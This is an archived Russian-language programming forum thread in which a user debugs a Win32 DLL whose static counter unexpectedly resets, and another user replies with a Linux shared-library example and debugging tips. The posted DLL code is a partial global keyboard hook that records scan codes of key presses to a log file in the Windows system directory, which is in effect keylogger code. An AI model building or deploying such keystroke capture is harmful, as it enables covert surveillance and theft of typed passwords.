Marik Опубликовано 13 сентября, 2004 Жалоба Share Опубликовано 13 сентября, 2004 Суть проблемы: Есть некий код, он с помощью функций WinAPI открывает файл, пишет/читает и закрывает. Ежели этот код написать в обычном проекте win32 application, то всё работает. А вот если разместить его в проекте win32 dll (что мне и нужно), то работа с файлами не получается. При открытии файла возникает ошибка "файл уже существует" или "файл занят другим приложением"... не знаю что и делать. Надеюсь на добрый совет, как разрешить эту дилему. Вариантов типа "Использовать другие языки" или "не использовать dll" или "воспользоваться MFC, ATL и т.д." прошу не предлогать. Ссылка на комментарий Поделиться на другие сайты More sharing options...
AL-GALI Опубликовано 16 сентября, 2004 Жалоба Share Опубликовано 16 сентября, 2004 Покажите, что делаете и в каком случае работает и не работает Ссылка на комментарий Поделиться на другие сайты More sharing options...
Sorantis Опубликовано 16 сентября, 2004 Жалоба Share Опубликовано 16 сентября, 2004 Покажи правда код. Так понятнее будет.. Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 20 сентября, 2004 Автор Жалоба Share Опубликовано 20 сентября, 2004 Всем заинтересовавшимся спасибо, но вопрос уже решился, а потому снимается. Однако, это только начало. Будут и ещё вопросы ))) Открываем астраханский филиал RSDN-а :-) Ссылка на комментарий Поделиться на другие сайты More sharing options...
He†oC Dunmeriel Опубликовано 7 октября, 2004 Жалоба Share Опубликовано 7 октября, 2004 главное - если что-то спрашиваете - типа "А у меня не работает - пАчиму?" будьте любезны исходничек (или часть оного) предоставить публике RSDN - типа вфка получиться и то может быть Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 8 октября, 2004 Автор Жалоба Share Опубликовано 8 октября, 2004 Что такое есть "вфка"? Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 11 октября, 2004 Автор Жалоба Share Опубликовано 11 октября, 2004 А вот ещё один вопросик (тоже MS Visual С++, проект dll): #include ... static int pAram = 0; ... void mInit() { ... pAram += 123; ... } void Funct() { ... pAram++; ... } Из exe-проекта сначала функция mInit вызывается один раз, а потом Funct уже много раз. При первом вызове Funct значение pAram почему-то равно 0. Далее добропорядочно увеличивается... ПОчему? Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 13 октября, 2004 Автор Жалоба Share Опубликовано 13 октября, 2004 Что ж, никто не знает?... даже не предположит? Где же вы, программеры? Ссылка на комментарий Поделиться на другие сайты More sharing options...
Yttrium Опубликовано 20 октября, 2004 Жалоба Share Опубликовано 20 октября, 2004 А как ты проверяешь значение pAram??? Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 21 октября, 2004 Автор Жалоба Share Опубликовано 21 октября, 2004 Yttrium Вывожу в файл Ссылка на комментарий Поделиться на другие сайты More sharing options...
Yttrium Опубликовано 22 октября, 2004 Жалоба Share Опубликовано 22 октября, 2004 Marik Ты непонимаешь или не хочеш принять мою помощь???? Я спросил ту функцию которая проверяет значение. Короче, весь код давай. Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 25 октября, 2004 Автор Жалоба Share Опубликовано 25 октября, 2004 Yttrium Не совсем корректный вопрос порождает не совсем корректрый ответ... Вот та часть кода, которая имеет отношение к заданному вопросу. Файл номер раз: Код ДЛЛ-ки // kidll.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" // Глобальные переменные HANDLE hmod; HHOOK khook; HANDLE LogFile; static unsigned int iG = 0; // То самое, что называлось в вопросе pAram ... // Определения функций ... DWORD logWrite(LPTSTR string, DWORD len) { DWORD t, fLength; GetSystemDirectory(FullLogFile, 256); // lstrcat(FullLogFile, "\\"); // Получаем путь к логу lstrcat(FullLogFile, LogFileName); // LogFile = CreateFile( // Открываемый файл FullLogFile, // Имя файла FILE_APPEND_DATA, // Права с которыми открывается файл (запись) 0, // Файл открывается для дописывания NULL, // Свойства безопасности отсутствуют OPEN_ALWAYS, // Открывать всегда = если файла нет, будет создан новый FILE_ATTRIBUTE_NORMAL, // Атрибуты файла NULL); // Наследование атрибутов файла отсутствует if(LogFile != INVALID_HANDLE_VALUE) { // Запись в файл WriteFile(LogFile, string, len, &t, NULL); // ???Добавить обработку ошибок! if( (fLength = GetFileSize(LogFile, NULL)) > LogFileMaxSize) { CloseHandle(LogFile); MoveLog(fLength); } // Закрываем файл CloseHandle(LogFile); return t; } return 0; } // Главная функция dll BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { hmod = hModule; return TRUE; } // Та самая интересная функция (вызывается один раз) void sInit() { ... // Стартовая запись в лог. Дата и время. GetSystemTime(&curTime); GetDateFormat( LOCALE_SYSTEM_DEFAULT, DATE_SHORTDATE, &curTime, NULL, BufStr0, sizeof(BufStr0)); bWritten = lstrlen(BufStr0) + 1; BufStr0[bWritten - 1] = '\0'; GetTimeFormat( LOCALE_SYSTEM_DEFAULT, TIME_FORCE24HOURFORMAT, &curTime, NULL, BufStr0 + bWritten, sizeof(BufStr0) - bWritten); wsprintf( // Формируем строку содержащую системное время и дату BufStr1, "LogStarted [%s %s]", BufStr0, BufStr0 + bWritten); iG += lstrlen(BufStr1); // То самое увеличение переменной logWrite(BufStr1, lstrlen(BufStr1)); } // Та самая интересная функция (вызывается много раз) // Функция для обработки клавиатурного ввода. LRESULT CALLBACK HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam) { DWORD IsDown = !(lParam >> 31); // Нажимается клавиша или отжимается DWORD WasDown = IsDown ? lParam >> 30 : (lParam >> 30) - 2; // Была ли нажата клавиша в предыдущий момент SHORT OutCode = (lParam >> 16); // Скан-код клавиши и параметры события // & 0xFDFF; // сброс бита "don't care" чтобы различать правые и левые функциональные клавиши if(nCode == HC_ACTION) { lstrcpy(BufStr1, ""); bWritten = 0; if(!(WasDown && IsDown)) { // Формирование выходного значения BufStr1[bWritten] = (BYTE)(OutCode >> 8); BufStr1[bWritten + 1] = (BYTE)(OutCode & 0x00FF); ... iG += 2; if(iGamma >= G_SIZE) iG = 0; } // Если есть что записать, Записываем в лог то что собрали if(bWritten != 0) { logWrite(BufStr1, bWritten); } } return CallNextHookEx(khook, nCode, wParam, lParam); } В заголовочном файле присутствует следующее описание функций: extern "C" __declspec(dllexport) LRESULT CALLBACK HksKeyProc(int nCode, WPARAM wParam, LPARAM lParam); extern "C" __declspec(dllexport) void Init(); В экзешнике один раз вызывается функция Init, а HksKeyProc соответсвтенно много разов. Я сейчас убрал вывод в файл (то бишь, отладочную информацию), но факт, что при вызове HksKeyProc, iG = 0... Жажду разрешения моей дилемы... Заранее благодарен! Ссылка на комментарий Поделиться на другие сайты More sharing options...
Yttrium Опубликовано 25 октября, 2004 Жалоба Share Опубликовано 25 октября, 2004 а где описание BufStr1??? у меня всё работает [yttrium@localhost proj]$ cat pArm.c #include "pArm.h" #include <stdio.h> static int pAram = 0; void mInit() { pAram += 123; printf("%d\n",pAram); } void Funct() { pAram++; printf("%d++\n",pAram); } [yttrium@localhost proj]$ cat pArm.h void mInit(); void Funct(); [yttrium@localhost proj]$ gcc -fPIC -c pArm.c [yttrium@localhost proj]$ gcc -shared -o libpArm.so pArm.o [yttrium@localhost proj]$ cat exe.c #include "pArm.h" main() { mInit(); int j = 7; while(j--)Funct(); } [yttrium@localhost proj]$ gcc -c exe.c [yttrium@localhost proj]$ gcc exe.o -L. -lpArm -o exe [yttrium@localhost proj]$ LD_LIBRARY_PATH=. [yttrium@localhost proj]$ export LD_LIBRARY_PATH [yttrium@localhost proj]$ ./exe 123 124++ 125++ 126++ 127++ 128++ 129++ 130++ [yttrium@localhost proj]$ Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 26 октября, 2004 Автор Жалоба Share Опубликовано 26 октября, 2004 Marik А вот ещё один вопросик (тоже MS Visual С++, проект dll): Yttrium Спасибо что заинтересовался вопросом (что-то я забыл как-то сразу сказать), но ведь суть вопроса в том, что проект создан в MS VC++ .NET, что это dll, и компилить его в линухе у меня возможности нет (на это тоже свои причины). а где описание BufStr1???Выше было, просто вырезал (я много чего вырезал из исходника) Ссылка на комментарий Поделиться на другие сайты More sharing options...
Yttrium Опубликовано 27 октября, 2004 Жалоба Share Опубликовано 27 октября, 2004 Ну я тоже разделяемую библиотеку смастерил, в *nix системах она *.so Я думаю твоя проблема скрыта за громозкими функциями, попробуй закоментировать, некоторые строки некоторые модифицировать, таким образом чтобы остались основные идеи, кое где с эмуливровать вывод апи-функций, используй отладчик. Это вполне очевидные вещи, но именно так поступают в таких случаях. Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 29 октября, 2004 Автор Жалоба Share Опубликовано 29 октября, 2004 Yttrium Я знаю и именно так поступаю, но... Функции не сказал бы уж очень громоздкие, но факт, что всё вырезанное и комментить пробовал (т.е. получался примерно тот код что я тут написал), да и в дебагере хрен поймёшь - до определённого момента всё хорошо, а потом вдруг на 0 сбрасывается значение... не знаю что и делать!... Потому и сюда написал. Стараюсь глупыми вопросами не озадачивать общественность. PS: Под никсы - эт конечно хорошо, но дело-то может быть и в компиляторе, мож это именно Макрососовский компилятор такую ерунду делает... Потому мне и важно, чтобы именно на таком же проверяли (те кому интересно мне помочь) PPS: И как единственному представителю последних, тебе ещё раз респект и спасибо! Ссылка на комментарий Поделиться на другие сайты More sharing options...
Yttrium Опубликовано 29 октября, 2004 Жалоба Share Опубликовано 29 октября, 2004 Marik Обрати внимание на описание BufStr1, его инициализацию и другие указатели. до определённого момента всё хорошоЯ выработал для себя правило если такая хрень случается то где-то указатель либо неинициализируется, либо неправильно используется. Ссылка на комментарий Поделиться на другие сайты More sharing options...
Marik Опубликовано 1 ноября, 2004 Автор Жалоба Share Опубликовано 1 ноября, 2004 Yttrium BufStr1 вообще-то не имеет никакого отношения к переменной iG с которой возникают проблемы... И какие могут быть указатели, если iG - это static int? Ссылка на комментарий Поделиться на другие сайты More sharing options...
Рекомендуемые сообщения
Заархивировано
Эта тема находится в архиве и закрыта для дальнейших ответов.